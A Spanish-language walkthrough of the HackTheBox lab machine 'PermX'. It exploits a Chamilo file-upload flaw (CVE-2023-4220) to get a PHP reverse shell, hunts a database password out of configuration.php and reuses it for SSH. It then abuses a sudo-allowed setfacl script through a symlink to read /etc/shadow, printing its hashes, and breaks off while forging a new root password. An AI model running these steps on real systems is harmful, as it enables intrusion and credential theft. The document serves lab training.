Añadimos la IP 10.10.11.23 a nuestro /etc/hosts y accedemos través del navegador.
Parece una web de cursos online. En la pestaña About, encontramos la parte del equipo, que nos podría servir para hacer bruteforce contra usuarios dirigidos:
La mayoría de links no llevan a ningún lado y solamente recargan la página actual. En principio no encontramos nada relevante.
Solo encontramos 2 puertos abiertos, el 22 y el 80. Los típicos. Podríamos probar a hacer bruteforce de SSH con los usuarios que encontramos en la web.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:
Encontramos los subdominios www y lms, por lo que vamos a añadirlos a nuestro /etc/hosts.
Nos interesa sobre todo el subdominio lms.permx.htb:
Llegamos a un panel de login de Chamilo, un software de elearning. En este punto podríamos buscar exploits específicos.
Búsqueda de exploits
Haciendo un poco de research nos encontramos este exploit en Github que nos podría servir:
Si lo ejecutamos nos da las instrucciones:
bash CVE-2023-4220.sh
All options -f, -h, and -p are required.
Usage: CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
Options:
-f Path to the reverse file
-h Host link where the file will be uploaded
-p Port for the reverse shell
Necesitamos especificarle:
Una reverse shell (en php)
El host de destino
El puerto para nuestra reverse shell
Voy a crear una reverse shell por ejemplo con el plugin de Hack Tools:
Lo voy a guardar en el directorio raiz / con el nombre de shell.php
Explotación
Vamos a ejecutar el exploit de la siguiente manera:
bashCVE-2023-4220.sh-f/home/kali/shell.php-hhttp://lms.permx.htb/-p1234Thefilehassuccessfullybeenuploaded.# Use This leter For Interactive TTY ;) # python3 -c 'import pty;pty.spawn("/bin/bash")'# export TERM=xterm# CTRL + Z# stty raw -echo; fg# Starting Reverse Shell On Port 1234 . . . . . . .
Ahora si vamos a la siguiente ruta deberíamos ver nuestra shell:
Hay más hackers atacando la máquina, por eso que hay varias reverse shells subidas, pero hacemos click en la nuestra y recibimos la conexión en la terminal!
www-data@permx:/$ whoami
www-data
www-data@permx:/$ ls
bin dev home lib32 libx32 media opt root sbin sys usr
boot etc lib lib64 lost+found mnt proc run srv tmp var
www-data@permx:/$ cd home
www-data@permx:/home$ ls
mtz
www-data@permx:/home$ cd mtz
bash: cd: mtz: Permission denied
Somos el usuario www-data, y vemos que hay un usuario mtz en el sistema (user flag), pero no podemos acceder. Vamos a hacer un poco de credential hunting:
Ejecutamos un Linpeas y encontramos cosas relevantes, como un posible usuario y contraseña para una base de datos MongoDB:
Usando técnicas de Credential Hunting buscando archivos de configuración, encontramos uno que contiene credenciales para una base de datos:
www-data@permx:/$ find / -type f -name "configuration.php" -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 www-data www-data 127902 Jan 20 2024 /var/www/chamilo/app/config/configuration.php
-rwxr-xr-x 1 www-data www-data 1258 Aug 31 2023 /var/www/chamilo/plugin/sepe/src/configuration.php
www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
<------SNIP------>
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
Conexión a base de datos
Vamos a usar estar credenciales para conectarnos a mysql:
www-data@permx:/$ mysql -h localhost -P 3306 -u chamilo -p chamilo
Enter password: 03F6lY3uXAP2bkW8
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 137
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [chamilo]>
Enumeración de la BBDD
De todas las tablas de la base de datos, nos interesa la tabla user, donde podría haber información confidencial sobre el usuario:
Buuum! Obtenemos las credenciales del admin y de un nuevo usuario anonymous.
En BCrypt, el hash incluye el salt y el costo. Por ejemplo:
$2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra
| | | | |
| | | | +---> Salt y Hash combinados
| | | +------------> Salt
| | +---------------> Cost factor (04 en este caso)
| +-----------------> Algoritmo (BCrypt, versión `$2y$`)
Vamos a guardar estos 2 hashes en un archivo hashes.txt y vamos a crackearlo con john:
User flag
Intentamos crackear estos hashes pero tarda demasiado. Vamos a probar a conectarnos por SSH con la contraseña de la base de datos, ya que puede estar reutilizada, y nos logueamos como el único usuario que habia en el sistema mtz:
sshmtz@10.10.11.23mtz@10.10.11.23's password: 03F6lY3uXAP2bkW8Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
Tenemos la User Flag! 🏆
Escalada de privilegios
Lo primero, comprobamos como siempre los permisos de ejecución de este usuario mtz:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Vamos a ver el contenido del script acl.sh:
#!/bin/bashif [ "$#"-ne3 ]; then/usr/bin/echo"Usage: $0 user perm file"exit1fiuser="$1"perm="$2"target="$3"if [[ "$target"!= /home/mtz/*||"$target"==*..* ]]; then/usr/bin/echo"Access denied."exit1fi# Check if the path is a fileif [ !-f"$target" ]; then/usr/bin/echo"Target must be a file."exit1fi/usr/bin/sudo/usr/bin/setfacl-mu:"$user":"$perm""$target"
Este script permite modificar los permisos dentro del path /home/mtz , entonces lo que vamos hacer es ejecutar los siguientes dos comandos:
El primer comando crea un simlink, una especie de acceso directo del path / con un nombre llamado root.
El segundo comando ejecuta el script acl.sh que este otorga permisos de escritura y lectura al archivo o carpeta que sea crea con el nombre root ubicado en /home/mtz. Esto nos permite leer y escribir el archivo /etc/shadow, lo que nos permitiría cambiar la contraseña del usuario root.
Ejecutando el script para leer /etc/shadow
mtz@permx:~$ ln -s / root
mtz@permx:~$ ls
root user.txt
mtz@permx:~$ cd root
mtz@permx:~/root$ ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
mtz@permx:~/root$ cd ..
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
mtz@permx:~$ cat /home/mtz/root/etc/shadow
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19742:0:99999:7:::
mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
lxd:!:19742::::::
mysql:!:19742:0:99999:7:::
Crear nuevo password de root
# Password actual
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
# Nuevo password
mtz@permx:~$ openssl passwd -6 afsh4ck
$6$DmuarOdW7jXd.2vn$Xp9KjrLbFPOC2FufelLNDj0mYD6Y8ngJwD0X2qMe0fYHmjBHAO7YrQo5Z1fbixwNhLTOwRvG9fKCkwzxJpOVd.